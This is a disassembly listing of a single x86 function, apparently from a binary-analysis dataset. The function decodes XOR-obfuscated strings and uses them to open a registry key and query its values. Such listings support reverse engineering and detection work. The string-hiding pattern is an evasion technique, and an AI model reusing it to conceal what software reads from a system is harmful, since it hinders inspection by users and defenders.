Function at 0x4684d0
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ec202
mov eax, dword fs:[0]
push eax
sub esp, 0x304
mov eax, dword [0x52610c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [0x50c930]
xor ebx, ebx
mov edx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
movups xmmword [ebp - 0x304], xmm0
mov dword [ebp - 0x310], ebx
movaps xmm0, xmmword [0x50c970]
movups xmmword [ebp - 0x2f4], xmm0
mov dword [ebp - 0x30c], ebx
movaps xmm0, xmmword [0x50c960]
movups xmmword [ebp - 0x2e4], xmm0
mov dword [ebp - 0x2d4], 0x2b2b2633
mov word [ebp - 0x2d0], 0x1b
mov dword [ebp - 4], ebx
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x303]
xor al, byte [ebp - 0x304]
mov byte [ebp + ecx - 0x2ce], al
mov al, byte [ebp + ecx - 0x302]
xor al, byte [ebp - 0x304]
mov byte [ebp + ecx - 0x2cd], al
mov al, byte [ebp + ecx - 0x301]
xor al, byte [ebp - 0x304]
mov byte [ebp + ecx - 0x2cc], al
mov al, byte [ebp + ecx - 0x300]
xor al, byte [ebp - 0x304]
mov byte [ebp + ecx - 0x2cb], al
add ecx, 4
cmp ecx, 0x34
jb 0x468560
push edx
lea eax, [ebp - 0x2ce]
mov byte [ebp - 0x29a], 0
push eax
lea eax, [ebp - 0x294]
push eax
call fcn.0040e720
push 0x35
lea eax, [ebp - 0x303]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004b8fe0
add esp, 0x18
lea ecx, [ebp - 0x310]
cmp dword [ebp - 0x280], 0x10
lea eax, [ebp - 0x294]
cmovae eax, dword [ebp - 0x294]
push ecx
push 0x20019
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x46862c
lea ecx, [ebp - 0x294]
call fcn.00409550
jmp 0x468aa5
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004b8fe0
mov dword [ebp - 0x230], 0x30270252
mov bh, 0x37
mov al, 2
mov byte [ebp - 0x305], bh
xor al, byte [ebp - 0x230]
mov bh, 0x20
mov byte [ebp - 0x225], al
add esp, 0xc
mov al, byte [ebp - 0x230]
mov cl, 0x27
xor cl, al
mov byte [ebp - 0x306], bh
mov bh, byte [ebp - 0x305]
mov dl, 0x30
xor dl, al
mov dword [ebp - 0x30c], 0x103
xor bh, al
mov byte [ebp - 0x115], 0
mov ah, 0x3b
mov dword [ebp - 0x22c], 0x3a213b3e
xor ah, al
mov word [ebp - 0x228], 0x2037
mov ch, 0x21
mov byte [ebp - 0x221], ah
xor ch, al
mov byte [ebp - 0x226], 0
mov dh, 0x3a
mov byte [ebp - 0x224], cl
xor dh, al
mov byte [ebp - 0x223], dl
mov bl, 0x3e
mov byte [ebp - 0x220], ch
xor bl, al
mov byte [ebp - 0x21f], dh
mov al, byte [ebp - 0x306]
xor al, byte [ebp - 0x230]
mov byte [ebp - 0x21d], al
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x218]
mov byte [ebp - 0x222], bl
push eax
push 0
push 0
lea eax, [ebp - 0x225]
mov byte [ebp - 0x21e], bh
push eax
push dword [ebp - 0x310]
mov byte [ebp - 0x21c], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
setne al
test al, al
jne 0x468a98
mov dword [ebp - 0x268], 0xf
mov dword [ebp - 0x26c], 0
mov byte [ebp - 0x27c], al
cmp byte [ebp - 0x218], al
jne 0x468756
xor ecx, ecx
jmp 0x468769
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468760
sub ecx, edx
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x27c]
call fcn.00409aa0
mov byte [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x50c7d0]
movups xmmword [ebp - 0x264], xmm0
mov dword [ebp - 0x254], 0xb080f07
mov dword [ebp - 0x250], 0x120803
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x263]
xor al, byte [ebp - 0x264]
mov byte [ebp + ecx - 0x24c], al
mov al, byte [ebp + ecx - 0x262]
xor al, byte [ebp - 0x264]
mov byte [ebp + ecx - 0x24b], al
add ecx, 2
cmp ecx, 0x16
jb 0x4687b0
cmp byte [ebp - 0x24c], 0
mov byte [ebp - 0x236], 0
jne 0x4687f4
xor esi, esi
jmp 0x468809
lea esi, [ebp - 0x24c]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x468800
sub esi, ecx
cmp dword [ebp - 0x268], 0x10
lea ecx, [ebp - 0x27c]
mov ebx, dword [ebp - 0x26c]
mov eax, esi
cmovae ecx, dword [ebp - 0x27c]
cmp ebx, esi
cmovb eax, ebx
push eax
lea eax, [ebp - 0x24c]
push eax
push ecx
call fcn.00413df0
add esp, 0xc
test eax, eax
jne 0x468a8d
cmp ebx, esi
jb 0x468a8d
ja 0x468a8d
push 0x104
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.004b8fe0
add esp, 0xc
mov dword [ebp - 0x30c], 0x103
mov byte [ebp - 0x11], 0
mov dl, 0x66
mov dword [ebp - 0x250], 0x150f2266
xor ecx, ecx
mov dword [ebp - 0x24c], 0x1f070a16
mov dword [ebp - 0x248], 0x809052f
mov byte [ebp - 0x244], 0
nop dword [eax]
mov al, byte [ebp + ecx - 0x24f]
xor al, dl
mov byte [ebp + ecx - 0x243], al
inc ecx
cmp ecx, 0xb
jae 0x4688be
mov dl, byte [ebp - 0x250]
jmp 0x4688a0
lea eax, [ebp - 0x30c]
mov byte [ebp - 0x238], 0
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push 0
lea eax, [ebp - 0x243]
push eax
push dword [ebp - 0x310]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
setne al
test al, al
jne 0x468a8d
mov eax, dword [ebp - 0x30c]
cmp eax, 0x104
jae 0x468a88
mov byte [ebp + eax - 0x114], 0
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.004c2ac4
add esp, 8
cmp eax, 0xffffffff
je 0x468a2d
cmp byte [ebp - 0x114], 0
mov dword [ebp - 0x21c], 0xf
mov dword [ebp - 0x220], 0
mov byte [ebp - 0x230], 0
jne 0x468952
xor ecx, ecx
jmp 0x468969
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468960
sub ecx, edx
push ecx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x230]
call fcn.00409aa0
lea edx, [ebp - 0x230]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x24c]
call fcn.00429b00
mov esi, eax
cmp edi, esi
je 0x4689cf
mov eax, dword [edi + 0x14]
cmp eax, 0x10
jb 0x4689aa
inc eax
mov ecx, edi
push eax
push dword [edi]
call fcn.00409950
mov dword [edi + 0x14], 0xf
cmp dword [edi + 0x14], 0x10
mov dword [edi + 0x10], 0
jb 0x4689c2
mov eax, dword [edi]
jmp 0x4689c4
mov eax, edi
push esi
mov ecx, edi
mov byte [eax], 0
call fcn.00407610
mov eax, dword [ebp - 0x238]
cmp eax, 0x10
jb 0x4689ed
inc eax
lea ecx, [ebp - 0x24c]
push eax
push dword [ebp - 0x24c]
call fcn.00409950
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x238], 0xf
mov dword [ebp - 0x23c], 0
mov byte [ebp - 0x24c], 0
cmp eax, 0x10
jb 0x468a26
inc eax
lea ecx, [ebp - 0x230]
push eax
push dword [ebp - 0x230]
call fcn.00409950
mov ebx, 1
jmp 0x468a2f
xor ebx, ebx
mov eax, dword [ebp - 0x268]
cmp eax, 0x10
jb 0x468a4d
inc eax
lea ecx, [ebp - 0x27c]
push eax
push dword [ebp - 0x27c]
call fcn.00409950
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x268], 0xf
mov dword [ebp - 0x26c], 0
mov byte [ebp - 0x27c], 0
cmp eax, 0x10
jb 0x468aa5
inc eax
lea ecx, [ebp - 0x294]
push eax
push dword [ebp - 0x294]
call fcn.00409950
jmp 0x468aa5
call fcn.004a03c5
lea ecx, [ebp - 0x27c]
call fcn.00409550
lea ecx, [ebp - 0x294]
call fcn.00409550
xor ebx, ebx
mov ecx, dword [ebp - 0x310]
test ecx, ecx
je 0x468ab6
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049fc55
mov esp, ebp
pop ebp
ret 8